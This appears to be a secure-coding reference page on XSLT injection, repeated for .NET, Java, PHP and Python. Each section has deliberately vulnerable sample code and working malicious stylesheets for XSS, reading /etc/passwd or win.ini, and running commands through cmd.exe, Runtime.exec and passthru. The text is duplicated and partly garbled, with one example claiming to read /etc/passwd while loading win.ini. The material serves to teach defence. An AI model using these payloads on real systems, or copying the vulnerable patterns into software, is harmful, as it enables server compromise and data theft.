Kingdom: Input Validation and Representation
Input validation and representation problems ares caused by metacharacters, alternate encodings and numeric representations. Security problems result from trusting input. The issues include: "Buffer Overflows," "Cross-Site Scripting" attacks, "SQL Injection," and many others.
XSLT Injection
Abstract
Processing an unvalidated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code.
Explanation
XSLT injection occurs when:
1. Data enters a program from an untrusted source.
2. The data is written to an XSL stylesheet.
Applications typically use XSL stylesheet to transform XML documents from one format to another. XSL stylesheets include special functions which enhance the transformation process but introduce additional vulnerabilities if used incorrectly.
The semantics of XSL stylesheets and processing can be altered if an attacker has the ability to write XSL elements in a stylesheet. An attacker could alter the output of a stylesheet such that an XSS (cross-site scripting) attack was enabled, expose the contents of local file system resources, or execute arbitrary code.
Example 1: Here is some code that is vulnerable to XSLT Injection:
1. XSS:
When the XSL stylesheet is processed, the <script> tag is rendered to the victim's browser allowing a cross-site scripting attack to be performed.
2. Reading of arbitrary files on the server's file system:
The preceding XSL stylesheet will return the contents of the
3. Execution of arbitrary code:
The XSLT processor has the ability to expose native language methods as XSLT functions if they are not disabled.
The preceding stylesheet will execute the "cmd.exe" command on the server.
1. Data enters a program from an untrusted source.
2. The data is written to an XSL stylesheet.
Applications typically use XSL stylesheet to transform XML documents from one format to another. XSL stylesheets include special functions which enhance the transformation process but introduce additional vulnerabilities if used incorrectly.
The semantics of XSL stylesheets and processing can be altered if an attacker has the ability to write XSL elements in a stylesheet. An attacker could alter the output of a stylesheet such that an XSS (cross-site scripting) attack was enabled, expose the contents of local file system resources, or execute arbitrary code.
Example 1: Here is some code that is vulnerable to XSLT Injection:
...
String xmlUrl = Request["xmlurl"];
String xslUrl = Request["xslurl"];
XslCompiledTransform xslt = new XslCompiledTransform();
xslt.Load(xslUrl);
xslt.Transform(xmlUrl, "books.html");
...
Example 1 results in three different exploits when the attacker passes the identified XSL to the XSTL processor:1. XSS:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
</xsl:stylesheet>
When the XSL stylesheet is processed, the <script> tag is rendered to the victim's browser allowing a cross-site scripting attack to be performed.
2. Reading of arbitrary files on the server's file system:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
</xsl:template>
</xsl:stylesheet>
The preceding XSL stylesheet will return the contents of the
/etc/passwd file.3. Execution of arbitrary code:
The XSLT processor has the ability to expose native language methods as XSLT functions if they are not disabled.
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
<msxsl:script implements-prefix="App" language="C#">
<![CDATA[
public string ToShortDateString(string date)
{
System.Diagnostics.Process.Start("cmd.exe");
return "01/01/2001";
}
]]>
</msxsl:script>
<xsl:template match="ArrayOfTest">
<TABLE>
<xsl:for-each select="Test">
<TR>
<TD>
<xsl:value-of select="App:ToShortDateString(TestDate)" />
</TD>
</TR>
</xsl:for-each>
</TABLE>
</xsl:template>
</xsl:stylesheet>
The preceding stylesheet will execute the "cmd.exe" command on the server.
desc.dataflow.dotnet.xslt_injection
Abstract
Processing an unvalidated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code.
Explanation
XSLT injection occurs when:
1. Data enters a program from an untrusted source.
2. The data is written to an XSL stylesheet.
Applications typically use XSL stylesheet to transform XML documents from one format to another. XSL stylesheets include special functions which enhance the transformation process but introduce additional vulnerabilities if used incorrectly.
The semantics of XSL stylesheets and processing can be altered if an attacker has the ability to write XSL elements in a stylesheet. An attacker could alter the output of a stylesheet such that an XSS (cross-site scripting) attack was enabled, expose the contents of local file system resources, or execute arbitrary code.
Example 1: Here is some code that is vulnerable to XSLT Injection:
The code in
1. XSS:
When the XSL stylesheet is processed, the <script> tag is rendered to the victim's browser allowing a cross-site scripting attack to be performed.
2. Reading of arbitrary files on the server's file system:
The preceding XSL stylesheet will return the contents of the
3. Execution of arbitrary Java code:
The XSLT processor has the ability to expose native Java language methods as XSLT functions if they are not disabled.
The preceding stylesheet will execute the "ls" command on the server.
1. Data enters a program from an untrusted source.
2. The data is written to an XSL stylesheet.
Applications typically use XSL stylesheet to transform XML documents from one format to another. XSL stylesheets include special functions which enhance the transformation process but introduce additional vulnerabilities if used incorrectly.
The semantics of XSL stylesheets and processing can be altered if an attacker has the ability to write XSL elements in a stylesheet. An attacker could alter the output of a stylesheet such that an XSS (cross-site scripting) attack was enabled, expose the contents of local file system resources, or execute arbitrary code.
Example 1: Here is some code that is vulnerable to XSLT Injection:
...
InputStream xmlUrl = Utils.getFromURL(request.getParameter("xmlurl"));
InputStream xsltUrl = Utils.getFromURL(request.getParameter("xslurl"));
Source xmlSource = new StreamSource(xmlUrl);
Source xsltSource = new StreamSource(xsltUrl);
Result result = new StreamResult(System.out);
TransformerFactory transFact = TransformerFactory.newInstance();
Transformer trans = transFact.newTransformer(xsltSource);
trans.transform(xmlSource, result);
...
The code in
Example 1 results in three different exploits when the attacker passes the identified XSL to the XSTL processor:1. XSS:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
</xsl:stylesheet>
When the XSL stylesheet is processed, the <script> tag is rendered to the victim's browser allowing a cross-site scripting attack to be performed.
2. Reading of arbitrary files on the server's file system:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
The preceding XSL stylesheet will return the contents of the
/etc/passwd file.3. Execution of arbitrary Java code:
The XSLT processor has the ability to expose native Java language methods as XSLT functions if they are not disabled.
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
The preceding stylesheet will execute the "ls" command on the server.
References
[1] INJECT-8: Take care interpreting untrusted code Oracle
desc.dataflow.java.xslt_injection
Abstract
Processing an unvalidated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code.
Explanation
XSLT injection occurs when:
1. Data enters a program from an untrusted source.
2. The data is written to an XSL stylesheet.
Applications typically use XSL stylesheet to transform XML documents from one format to another. XSL stylesheets include special functions which enhance the transformation process but introduce additional vulnerabilities if used incorrectly.
The semantics of XSL stylesheets and processing can be altered if an attacker has the ability to write XSL elements in a stylesheet. An attacker could alter the output of a stylesheet such that an XSS (cross-site scripting) attack was enabled, expose the contents of local file system resources, or execute arbitrary code. If the attacker had complete control over the stylesheet submitted to the application, then the attacker could also execute an XXE (XML external entity) injection attack.
Example 1: Here is some code that is vulnerable to XSLT Injection:
The code in
1. XSS:
When the XSL stylesheet is processed, the <script> tag is rendered to the victim's browser allowing a cross-site scripting attack to be performed.
2. Reading of arbitrary files on the server's file system:
The preceding XSL stylesheet will return the contents of the
3. Execution of arbitrary PHP code:
The XSLT processor has the ability to expose native PHP language methods as XSLT functions by enabling "registerPHPFunctions".
The preceding stylesheet will output the results of the "ls" command on the server.
1. Data enters a program from an untrusted source.
2. The data is written to an XSL stylesheet.
Applications typically use XSL stylesheet to transform XML documents from one format to another. XSL stylesheets include special functions which enhance the transformation process but introduce additional vulnerabilities if used incorrectly.
The semantics of XSL stylesheets and processing can be altered if an attacker has the ability to write XSL elements in a stylesheet. An attacker could alter the output of a stylesheet such that an XSS (cross-site scripting) attack was enabled, expose the contents of local file system resources, or execute arbitrary code. If the attacker had complete control over the stylesheet submitted to the application, then the attacker could also execute an XXE (XML external entity) injection attack.
Example 1: Here is some code that is vulnerable to XSLT Injection:
...
<?php
$xml = new DOMDocument;
$xml->load('local.xml');
$xsl = new DOMDocument;
$xsl->load($_GET['key']);
$processor = new XSLTProcessor;
$processor->registerPHPFunctions();
$processor->importStyleSheet($xsl);
echo $processor->transformToXML($xml);
?>
...
The code in
Example 1 results in three different exploits when the attacker passes the identified XSL to the XSTL processor:1. XSS:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
</xsl:stylesheet>
When the XSL stylesheet is processed, the <script> tag is rendered to the victim's browser allowing a cross-site scripting attack to be performed.
2. Reading of arbitrary files on the server's file system:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
The preceding XSL stylesheet will return the contents of the
/etc/passwd file.3. Execution of arbitrary PHP code:
The XSLT processor has the ability to expose native PHP language methods as XSLT functions by enabling "registerPHPFunctions".
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('passthru','ls -la')"/>
</xsl:template>
</xsl:stylesheet>
The preceding stylesheet will output the results of the "ls" command on the server.
desc.dataflow.php.xslt_injection
Abstract
Processing an unvalidated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code.
Explanation
XSLT injection occurs when:
1. Data enters a program from an untrusted source.
2. The data is written to an XSL stylesheet.
Applications typically use XSL stylesheet to transform XML documents from one format to another. XSL stylesheets include special functions which enhance the transformation process but introduce additional vulnerabilities if used incorrectly.
The semantics of XSL stylesheets and processing can be altered if an attacker has the ability to write XSL elements in a stylesheet. An attacker could alter the output of a stylesheet such that an XSS (cross-site scripting) attack was enabled, expose the contents of local file system resources, or execute arbitrary code.
Example 1: Here is some code that is vulnerable to XSLT Injection:
The code in
1. XSS:
When the XSL stylesheet is processed, the <script> tag is rendered to the victim's browser allowing a cross-site scripting attack to be performed.
2. Reading of arbitrary files on the server's file system:
The preceding XSL stylesheet will return the contents of the
1. Data enters a program from an untrusted source.
2. The data is written to an XSL stylesheet.
Applications typically use XSL stylesheet to transform XML documents from one format to another. XSL stylesheets include special functions which enhance the transformation process but introduce additional vulnerabilities if used incorrectly.
The semantics of XSL stylesheets and processing can be altered if an attacker has the ability to write XSL elements in a stylesheet. An attacker could alter the output of a stylesheet such that an XSS (cross-site scripting) attack was enabled, expose the contents of local file system resources, or execute arbitrary code.
Example 1: Here is some code that is vulnerable to XSLT Injection:
...
xml = StringIO.StringIO(request.POST['xml'])
xslt = StringIO.StringIO(request.POST['xslt'])
xslt_root = etree.XML(xslt)
transform = etree.XSLT(xslt_root)
result_tree = transform(xml)
return render_to_response(template_name, {'result': etree.tostring(result_tree)})
...
The code in
Example 1 results in three different exploits when the attacker passes the identified XSL to the XSTL processor:1. XSS:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
</xsl:stylesheet>
When the XSL stylesheet is processed, the <script> tag is rendered to the victim's browser allowing a cross-site scripting attack to be performed.
2. Reading of arbitrary files on the server's file system:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
The preceding XSL stylesheet will return the contents of the
/etc/passwd file.desc.dataflow.python.xslt_injection